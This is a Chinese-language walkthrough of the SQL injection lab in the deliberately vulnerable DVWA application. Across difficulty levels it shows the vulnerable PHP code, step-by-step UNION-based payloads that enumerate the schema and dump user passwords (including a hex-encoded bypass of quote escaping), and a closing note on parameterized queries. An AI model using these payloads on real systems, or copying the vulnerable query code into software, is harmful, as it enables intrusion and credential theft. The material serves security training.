DVWA 通关指南:SQL Injection (SQL 注入)
SQL Injection (SQL 注入)
A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system (load_file) and in some cases issue commands to the operating system.
SQL 注入是从客户端向应用程序的输入数据,通过插入或“注入” SQL 查询语句来进行攻击的过程。成功的 SQL 注入攻击可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作(例如关闭 DBMS)、恢复 DBMS 文件系统上存在的给定文件的内容,并在某些情况下也能向操作系统发出命令。
SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.This attack may also be called "SQLi".
SQL 注入是一种注入攻击,在这种攻击中 SQL 命令被注入到数据平面的输入中,以此影响预定义的 SQL 命令的执行,这种攻击也可以称为 “SQLi”。
There are 5 users in the database, with id's from 1 to 5. Your mission... to steal their passwords via SQLi.
数据库中有 5 个用户,id 从 1 到 5,你的任务是通过 SQLi 窃取他们的密码。
Low Level
The SQL query uses RAW input that is directly controlled by the attacker. All they need to-do is escape the query and then they are able to execute any SQL query they wish.
SQL 查询将使用攻击者直接控制的原始输入,攻击者所需要做的就是转义查询,然后就可以执行任何他们想要的 SQL 查询。
源码审计
源码如下,PHP 的 REQUEST 变量在默认情况下包含了 GET,POST 和 COOKIE 的数组。由此可见源码对输入的 id 完全信任,没有做任何过滤。观察到接收的 id 的左右内容将会被直接放入一个 SQL 查询语句,使用 mysqli_query 函数用该语句对某个数据库进行查询。mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组,然后将查询到的数据输出。
<?php
if(isset( $_REQUEST['Submit'])){
// Get input
$id = $_REQUEST['id'];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>');
// Get results
while($row = mysqli_fetch_assoc($result)){
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
例如这里输入 id,网页就会回显 id 对应的用户名。
攻击方法
判断注入类型
由于输入的数据 id 是数字,我们并不知道服务器将 id 的值认为是字符还是数字,因此我们需要先来判断是数字型注入还是字符型注入(虽然从源码看得出来)。当输入的参数为字符串时就称该 SQL 注入为字符型,当输入的参数为数字时就称该 SQL 注入为数字型。字符型和数字型最大的一个区别在于数字型不需要单引号来闭合,而字符型需要通过单引号来闭合。
首先我们先注入 “1'”,可以看到服务器回显出错了,而且从回显的信息我们也能看出多了一个单引号。
因此这是很明显的字符型注入,为了验证这一点,我们可以注入如下内容,服务器把所有的用户都回显到网页中了。我们稍微解释下为什么注入的内容能让服务器返回所有的用户名,SQL 查询一般需要 WHERE 语句来筛选我希望查询到的字段。第一个单引号闭合了 SQL 查询语句的单引号,理论上来说这个条件只有 id = 1 的用户信息能满足。但是这个时候我们加入了一个或运算 “1 = 1”,这个条件是恒成立的,而当查询到用户的 id != 1 时,SQL 就会判断 or 运算符后面的条件是否成立。由于 “1 = 1” 恒成立,因此无论是什么数据都是符合要求的,都会被回显。
1' or '1' = '1
判断几列可控
接下来我们需要判断可查询的字段数,OEDER BY 子句可以对查询结果按某一列排序,我们可以使用该子句判断该表有几列是可控的。例如注入以下代码,发现按照第一列排序能够成功回显。注意这里要用到 “#”,该符号在 MySql 里面表示注释,能够把语句后面的内容注释掉,这里主要用来忽略查询语句后面的单引号。
' or 1 = 1 order by 1 #
测试到第三列发现服务器报错了,这表示该表的前 2 列是可控的。
接下来我们需要判断回显的字段按照顺序输出,这步需要使用联合查询来实现。所谓组合查询就是执行多个 SELECT,然后将这些查询结果进行合并,最后返回一个结果。测试时可以使用 “SELECT 常数” 的写法,运行效果如下,MySql 会直接返回常数。
因此我们注入如下内容,“select 1,2” 查询结果会和前一个 SELECT 查询语句的查询结果合并,返回一张总表。从返回的结果可以看出,参数的回显顺序为 1,2。
1' union select 1,2 #
虽然我们有源码了,但是根据上面的测试内容,我们可以推断出服务器使用的 SQL 语句如下。
select First name,Surname from 表 where ID = ’id’;
获取表中的字段名
接下来获取表名,下面这个 SQL 语句用于查询当前使用的数据库名。因此我们可以利用这个语句,使用联合查询把查询结果合并成一张表返回。
1' union SELECT DATABASE();
现在我们知道数据库名是 dvwa 了,接下来要获取表名。这里要用到 MySql 自带的 information_schema,其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。table_schema 在使用 information_schema.tables 查询时用于表示数据库名,而 table_name 表示具体的表名。因此我们可以构造出如下的内容获取表名,可以使用 group_concat() 函数把查询结果合并成一个字符串返回。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #
现在得知了 dvwa 数据库有 2 个表 guestbook 和 users,现在需要获取 users 表中具体有哪些字段。使用 information_schema.columns 中的 column_name,该变量表示具体的字段名,同样使用 group_concat() 函数把查询结果合并成一个字符串。
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #
获取目标信息
我们得知了 users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。接下来我们就构造 payload,直接获取 password 字段值。
1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
Medium Level
The medium level uses a form of SQL injection protection, with the function of "mysql_real_escape_string()". However due to the SQL query not having quotes around the parameter, this will not fully protect the query from being altered.
中级引入了 SQL 注入的保护,具有 “mysql_real_escape_string()” 功能。但是由于 SQL 查询的参数周围没有引号,这将不能完全保护查询不被更改。
The text box has been replaced with a pre-defined dropdown list and uses POST to submit the form.
文本框已替换为预定义的下拉列表,并使用 POST 提交表单。
源码审计
源码如下,源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00、\n、\r、\、'、" 和 \x1a 都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。
<?php
if(isset($_POST['Submit'])){
// Get input
$id = $_POST['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while($row = mysqli_fetch_assoc($result)){
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
攻击方式
虽然现在查询 id 的方式改为了修改表单,但是我们仍然可以抓包然后修改提交的参数,具体的操作流程和 low 相似。
判断注入类型
抓包修改 id 为下面内容,服务器回显报错信息。
1' or 1 = 1 #
传递下面的内容,服务器查询成功,由此可见查询语句不需要用单引号来闭合,这是数字型注入。
1 or 1 = 1 #
由于是数字型注入,服务器端的 mysql_real_escape_string 函数就起不到防御作用了,因为数字型注入并不需要借助引号。
判断几列可控
抓包更改参数 id 为如下内容,服务器回显查询结果。
1 order by 2 #
抓包更改参数 id 为如下内容,服务器报错,说明执行的 SQL 查询语句中只有两个字段。
1 order by 3 #
接下来确定显示的字段顺序,抓包更改参数 id 如下,查询成功。
1 union select 1,2 #
获取表中的字段名
注入如下内容,获取当前使用的表名。值得一提的是由于单引号会被过滤,因此我们就不要获取当前的数据库名了,直接使用 database() 来查询。
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #
由于单引号会被过滤,因此我们不能直接查询 user 表。此时可以使用十六进制编码绕过,注入如下内容,获取当前使用的表的具体字段名。
1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273 #
获取目标信息
万事俱备,接下来我们就构造 payload,直接获取 password 字段值。
1 or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
High Level
This is very similar to the low level, however this time the attacker is inputting the value in a different manner. The input values are being transferred to the vulnerable query via session variables using another page, rather than a direct GET request.
这与低级别非常相似,但是这次攻击者以不同的方式输入值。输入值将在另一个页面输入,而不是直接 GE T请求,通过会话变量传输到查询语句。
源码审计
源码如下,与 Medium 级别的代码相比,High 级别的只是在 SQL 查询语句中添加了 LIMIT 1,这令服务器仅回显查询到的一个结果。
<?php
if(isset($_SESSION ['id'])){
// Get input
$id = $_SESSION['id'];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while($row = mysqli_fetch_assoc($result)){
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
攻击方式
虽然查询语句添加了 LIMIT 1,但是我们可以利用 “#” 把它注释掉,这种防御形同虚设。此时手工注入的过程与 Low 级别基本一样,直接给出最终的 payload。
1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #
这里解释一下查询内容提交和结果显示使用不同页面显示的防御功能,需要特别提到的是,这样做是为了防止注入工具例如 sqlmap 注入。因为 sqlmap 在注入过程中无法在查询提交页面上获取查询的结果,因此收不到任何反馈,也就没办法进一步注入。
Impossible Level
The queries are now parameterized queries (rather than being dynamic). This means the query has been defined by the developer, and has distinguish which sections are code, and the rest is data.
查询被改为参数化查询(而不是动态的),这意味着查询已由开发人员确切定义,并区分哪些部分是代码,哪些部分是数据。
<?php
if(isset( $_GET['Submit'])){
// Check Anti-CSRF token
checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
// Get input
$id = $_GET['id'];
// Was a number entered?
if(is_numeric($id)){
// Check the database
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible 级别的代码采用了 PDO 技术,防止代码和查询数据的混杂。同时当返回的查询结果数量为一时才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken 机制的加入了进一步提高了安全性。
总结与防御
SQL 注入攻击就是 Web 程序对用户的输入没有进行合法性判断,从而攻击者可以从前端向后端传入攻击参数,并且该参数被带入了后端执行。在很多情况下开发者会使用动态的 SQL 语句,这种语句是在程序执行过程中构造的,不过动态的 SQL 语句很容易被攻击者传入的参数改变其原本的功能。
当我们进行手工 SQL 注入时,往往是采取以下几个步骤:
- 判断是否存在注入,注入是字符型还是数字型
- 猜解SQL查询语句中的字段数;
- 确定显示的字段顺序;
- 获取当前数据库;
- 获取数据库中的表;
- 获取表中的字段名;
- 下载数据。
当开发者需要防御 SQL 注入攻击时,可以采用以下方法。
- 过滤危险字符:可以使用正则表达式匹配各种 SQL 子句,例如 select,union,where 等,如果匹配到则退出程序。
- 使用预编译语句:PDO 提供了一个数据访问抽象层,这意味着不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。使用 PDO 预编译语句应该使用占位符进行数据库的操作,而不是直接将变量拼接进去。
参考资料
新手指南:DVWA-1.9全级别教程之SQL Injection
MYSQL中information_schema简介
SQL查询时出现错误 “Illegal mix of collations for operation 'UNION'”